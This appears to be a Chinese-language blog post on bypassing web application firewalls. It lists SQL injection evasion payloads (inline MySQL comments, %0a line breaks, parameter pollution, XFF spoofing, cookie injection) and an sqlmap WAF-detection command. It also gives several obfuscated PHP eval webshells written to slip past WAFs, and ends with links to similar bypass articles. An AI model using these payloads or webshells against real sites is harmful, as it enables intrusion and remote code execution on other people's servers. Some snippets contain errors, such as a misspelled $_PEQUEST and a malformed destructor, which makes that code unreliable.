WAF:有硬件和软件类型。
常见的软WAF,常见:安全狗、云锁、云盾、护卫神。
SQL注入的绕过:
 WAF核心机制就是正则匹配。
通过正则匹配,如果符合规则,就拦截。
比如sql注入中and 1=1被拦截。
可尝试大小写绕过:And 1=1
编码绕过:  因为WAF 获取数据后不会解码。如&=>%26
通过不同进制绕过:例如16进制的0x32相当于十进制的2。
铭记:安全和用户体验都是需要平衡的,特别是针对WAF而言。
 
WAF判断的几种方法:
1.SQLmap
使用SQLmap中自带的WAF识别模块可以识别出WAF的种类,但是如果所安装的WAF没有明显特征,SQLmap就只能识别出类型是Generic
在SQLmap中输入一下命令:
sqlmap.py -u "http://xxx.com"  --identify-waf  --batch
一般情况下就可以被扫描出waf的种类。
2.手工判断
这个也比较简单,直接在相应网站的url上后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,若触发了WAF的防护,所以网站存在WAF.
 
内联注释:是MYSQL为了保持与其他数据兼容,将MYSQL中特有的语句放在/!…*/中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别、执行。
/*!50001*/表示数据库版本>=5.00.01中间的语句才能执行。
/**/在数据库里是注释的意思。而/*!*/是内联注释(核心在于注释里的也可执行,目的在于适应不同版本)。可对数据库版本的注释进行暴力破解,绕过狗。比如/*!10044select*/可绕过。
 
常见绕过手法:
大小写绕过(很老的WAF才有用)
替换绕过(很老的WAF才有用)比如将union select 1,2,3,4,5替换成ununionion selselectect 1,2,3,4,5
特殊字符绕过(%0a换行)例如传参?id=1 union /*!10044select*/ 1,2,3 %23/*%0afrom admin%23*/  换行之后被执行。
编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换(利用其它函数替代)【union #%0aselect 拦截】[inion all #%select 不拦截]
容器特性(例如Apace的Hpp,或者IIS的%分割)IIS的分割传参里面s%e%l%e%c%t相当于select。Apache特性参数污染:?id=1/*&id=2 union select 1,password,3 from admin limit 1,1#*/(参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果)
白名单(管理员权限或者是127.0.0.1本地访问不拦截(抓包修改XFF成本地IP))
缓冲区(数据太多了,超出了WAF检测的范围)可在攻击语句中用注释填入大量无用字符,但要用POST传参。
有些函数加上反引号也是可以运行的。比如sleep(),updatexml()
生僻函数绕过(使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数代替常用的updatexml()函数
寻找网站源站IP(对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云waf的检测)
注入参数到cookies中(默写程序员在代码中使用$_REQUEST获取函数,它会依次从GET/POST/COOKIE中获取参数,如果WAF只检测了GET/POST而木有检测cookie,可以将注入语句放入cookie中绕过)
 
webshell的绕过:
我们常见的PHP一句话木马就是:<?php eval($_REQUEST['a'])?>这个是密码是a的一句话木马。这个语句肯定是会被拦截的。
绕过拦截:1.<?php eval(end($_PEQUEST));?>
end(): 输出数组中的当前元素和最后一个元素的值.($_所获取到的东西都是数组)
2.通过常量定义:<?php define("a","$_REQUEST[a]");eval(a);?>
3.通过字符串定义:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[1]);
?>
4.通过函数定义强行分割:
<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>
5.通过类定义,然后传参强行执行分割
<?php
class User
{
public $name='  ';
function_destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=".$_POST['dd'];
?>

绕过waf的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. 黑客是怎样绕过WAF之三重防护绕过讲解

    什么是WAF Web Application Firewall 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击. 目前主要有单设备WAF与云WAF WAF的现状 1.太多数W ...

  5. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  6. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  7. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  8. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  9. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  10. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

随机推荐

  1. 2.0.FastDFS单机模式综合版

    Centos610系列配置 1.什么是FastDFS? FastDFS是一个开源的分布式文件系统,她对文件进行管理,功能包括:文件存储.文件同步.文件访问(文件上传.文件下载)等,解决了大容量存储和负 ...

  2. Introducing .NET 5

    Today, we’re announcing that the next release after .NET Core 3.0 will be .NET 5. This will be the n ...

  3. 201771010135杨蓉庆 《面对对象程序设计(java)》第八周学习总结

    1.实验目的与要求 (1) 掌握接口定义方法: (2) 掌握实现接口类的定义要求: (3) 掌握实现了接口类的使用要求: (4) 掌握程序回调设计模式: (5) 掌握Comparator接口用法: ( ...

  4. JS打开浏览器新窗口

    window.open(URL,name,features,replace); 参数 描述 URL 一个可选的字符串,声明了要在新窗口中显示的文档的 URL.如果省略了这个参数,或者它的值是空字符串, ...

  5. 【PAT甲级】1039 Course List for Student (25 分)(vector嵌套于map,段错误原因未知)

    题意: 输入两个正整数N和K(N<=40000,K<=2500),分别为学生和课程的数量.接下来输入K门课的信息,先输入每门课的ID再输入有多少学生选了这门课,接下来输入学生们的ID.最后 ...

  6. Mac下MyEclipse安装及破解

    一.安装MyEclipse 去 官网下载MyEclipse ,我这里下载的是最新版MyEclipse 2017 CI 5,安装之后不要立即打开,不然会导致后面破解失败. 二.破解 1.下载破解文件,亲 ...

  7. 三年以上php开发经验常见面试题

    01 一般有三年以上php开发经验去百度.腾讯面试,常会接触的面试题小总结一下: 02 0.简单做一下自我介绍,?  然后谈一下近三年来你的得意之作? 03 1.面试官看过你的简历,会问一些你做的项目 ...

  8. 02使用GitHub远程仓库

    一.远程库配置 由于本地的GIT仓库和GitHub仓库之间的传输是通过SSH加密的,所以需要以下配置: 1.创建SSH key 为什么GitHub需要SSHKey:根据key来授权,有哪些key可以往 ...

  9. 固定ip配置

    1.打开 网络和internet设置 2. 3. 4.查看详细信息 5.记住这几个 6.选择属性开始配置 7. 8.只要把ip地址设置为同一网段下面的你想要的设置的空余ip即可,其他掩码和DNS不要修 ...

  10. spark实验(一)--spark安装(1)

    一.实验目的 (1)掌握 Linux 虚拟机的安装方法.Spark 和 Hadoop 等大数据软件在 Linux 操作系统 上运行可以发挥最佳性能,因此,本教程中,Spark 都是在 Linux 系统 ...